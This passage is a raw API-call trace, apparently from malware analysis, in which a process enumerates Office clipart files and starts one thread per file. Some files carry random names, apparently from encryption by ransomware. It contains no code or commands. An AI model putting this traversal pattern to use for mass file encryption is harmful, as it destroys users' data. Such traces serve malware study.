[0152.805] wcscpy (in: _Dest=0x4205c470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.805] wcscat (in: _Dest=0x4205c470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.805] wcscat (in: _Dest=0x4205c470, _Source="fa6d4d9c49d4.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fa6d4d9c49d4.2f9b60" [0152.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c [0152.806] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0152.806] wcscmp (_String1="FALL_01.MID", _String2=".") returned 1 [0152.806] wcscmp (_String1="FALL_01.MID", _String2="..") returned 1 [0152.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202afd60 [0152.806] wcscpy (in: _Dest=0x202afd60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.806] wcscat (in: _Dest=0x202afd60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.806] wcscat (in: _Dest=0x202afd60, _Source="FALL_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" [0152.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202afd60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec [0152.807] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="fb53d7dffdc1.2f9b60", cAlternateFileName="FB53D7~1.2F9")) returned 1 [0152.807] wcscmp (_String1="fb53d7dffdc1.2f9b60", _String2=".") returned 1 [0152.807] wcscmp (_String1="fb53d7dffdc1.2f9b60", _String2="..") returned 1 [0152.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c3d0 [0152.807] wcscpy (in: _Dest=0x4205c3d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.807] wcscat (in: _Dest=0x4205c3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.807] wcscat (in: _Dest=0x4205c3d0, _Source="fb53d7dffdc1.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fb53d7dffdc1.2f9b60" [0152.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8 [0152.808] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadef6200, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadef6200, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0152.808] wcscmp (_String1="FD00074_.WMF", _String2=".") returned 1 [0152.808] wcscmp (_String1="FD00074_.WMF", _String2="..") returned 1 [0152.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af730 [0152.809] wcscpy (in: _Dest=0x202af730, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.809] wcscat (in: _Dest=0x202af730, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.809] wcscat (in: _Dest=0x202af730, _Source="FD00074_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" [0152.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4 [0152.810] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0152.810] wcscmp (_String1="FD00076_.WMF", _String2=".") returned 1 [0152.810] wcscmp (_String1="FD00076_.WMF", _String2="..") returned 1 [0152.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4530 [0152.810] wcscpy (in: _Dest=0x202a4530, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.810] wcscat (in: _Dest=0x202a4530, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.810] wcscat (in: _Dest=0x202a4530, _Source="FD00076_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" [0152.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0 [0152.811] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0152.811] wcscmp (_String1="FD00077_.WMF", _String2=".") returned 1 [0152.811] wcscmp (_String1="FD00077_.WMF", _String2="..") returned 1 [0152.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4bf0 [0152.811] wcscpy (in: _Dest=0x202a4bf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.811] wcscat (in: _Dest=0x202a4bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.811] wcscat (in: _Dest=0x202a4bf0, _Source="FD00077_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" [0152.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19dc [0152.812] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0152.812] wcscmp (_String1="FD00086_.WMF", _String2=".") returned 1 [0152.812] wcscmp (_String1="FD00086_.WMF", _String2="..") returned 1 [0152.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4920 [0152.812] wcscpy (in: _Dest=0x202a4920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.812] wcscat (in: _Dest=0x202a4920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.812] wcscat (in: _Dest=0x202a4920, _Source="FD00086_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" [0152.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d8 [0152.813] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0152.813] wcscmp (_String1="FD00090_.WMF", _String2=".") returned 1 [0152.813] wcscmp (_String1="FD00090_.WMF", _String2="..") returned 1 [0152.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4c80 [0152.814] wcscpy (in: _Dest=0x202a4c80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.814] wcscat (in: _Dest=0x202a4c80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.814] wcscat (in: _Dest=0x202a4c80, _Source="FD00090_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" [0152.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4 [0152.815] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0152.815] wcscmp (_String1="FD00096_.WMF", _String2=".") returned 1 [0152.815] wcscmp (_String1="FD00096_.WMF", _String2="..") returned 1 [0152.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4890 [0152.815] wcscpy (in: _Dest=0x202a4890, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.815] wcscat (in: _Dest=0x202a4890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.815] wcscat (in: _Dest=0x202a4890, _Source="FD00096_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" [0152.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0 [0152.816] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0152.816] wcscmp (_String1="FD00296_.WMF", _String2=".") returned 1 [0152.816] wcscmp (_String1="FD00296_.WMF", _String2="..") returned 1 [0152.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4ad0 [0152.816] wcscpy (in: _Dest=0x202a4ad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.816] wcscat (in: _Dest=0x202a4ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.816] wcscat (in: _Dest=0x202a4ad0, _Source="FD00296_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" [0152.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc [0152.818] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0152.818] wcscmp (_String1="FD00297_.WMF", _String2=".") returned 1 [0152.818] wcscmp (_String1="FD00297_.WMF", _String2="..") returned 1 [0152.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a42f0 [0152.819] wcscpy (in: _Dest=0x202a42f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.819] wcscat (in: _Dest=0x202a42f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.819] wcscat (in: _Dest=0x202a42f0, _Source="FD00297_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" [0152.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a42f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8 [0152.820] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c56500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c56500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1 [0152.820] wcscmp (_String1="FD00306_.WMF", _String2=".") returned 1 [0152.820] wcscmp (_String1="FD00306_.WMF", _String2="..") returned 1 [0152.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b2b0 [0152.820] wcscpy (in: _Dest=0x2050b2b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.820] wcscat (in: _Dest=0x2050b2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.820] wcscat (in: _Dest=0x2050b2b0, _Source="FD00306_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" [0152.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4 [0152.821] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0152.821] wcscmp (_String1="FD00336_.WMF", _String2=".") returned 1 [0152.821] wcscmp (_String1="FD00336_.WMF", _String2="..") returned 1 [0152.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x20509e70 [0152.821] wcscpy (in: _Dest=0x20509e70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.821] wcscat (in: _Dest=0x20509e70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.821] wcscat (in: _Dest=0x20509e70, _Source="FD00336_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" [0152.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20509e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c0 [0152.822] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0152.822] wcscmp (_String1="FD00361_.WMF", _String2=".") returned 1 [0152.822] wcscmp (_String1="FD00361_.WMF", _String2="..") returned 1 [0152.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b4f0 [0152.822] wcscpy (in: _Dest=0x2050b4f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.822] wcscat (in: _Dest=0x2050b4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.823] wcscat (in: _Dest=0x2050b4f0, _Source="FD00361_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" [0152.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc [0152.823] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0152.823] wcscmp (_String1="FD00369_.WMF", _String2=".") returned 1 [0152.824] wcscmp (_String1="FD00369_.WMF", _String2="..") returned 1 [0152.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b580 [0152.824] wcscpy (in: _Dest=0x2050b580, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.824] wcscat (in: _Dest=0x2050b580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.824] wcscat (in: _Dest=0x2050b580, _Source="FD00369_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" [0152.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050b580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8 [0152.825] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0152.825] wcscmp (_String1="FD00382_.WMF", _String2=".") returned 1 [0152.825] wcscmp (_String1="FD00382_.WMF", _String2="..") returned 1 [0152.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x2050b100 [0152.825] wcscpy (in: _Dest=0x2050b100, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.825] wcscat (in: _Dest=0x2050b100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.825] wcscat (in: _Dest=0x2050b100, _Source="FD00382_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned="C:\\Program Files\\Microsoft 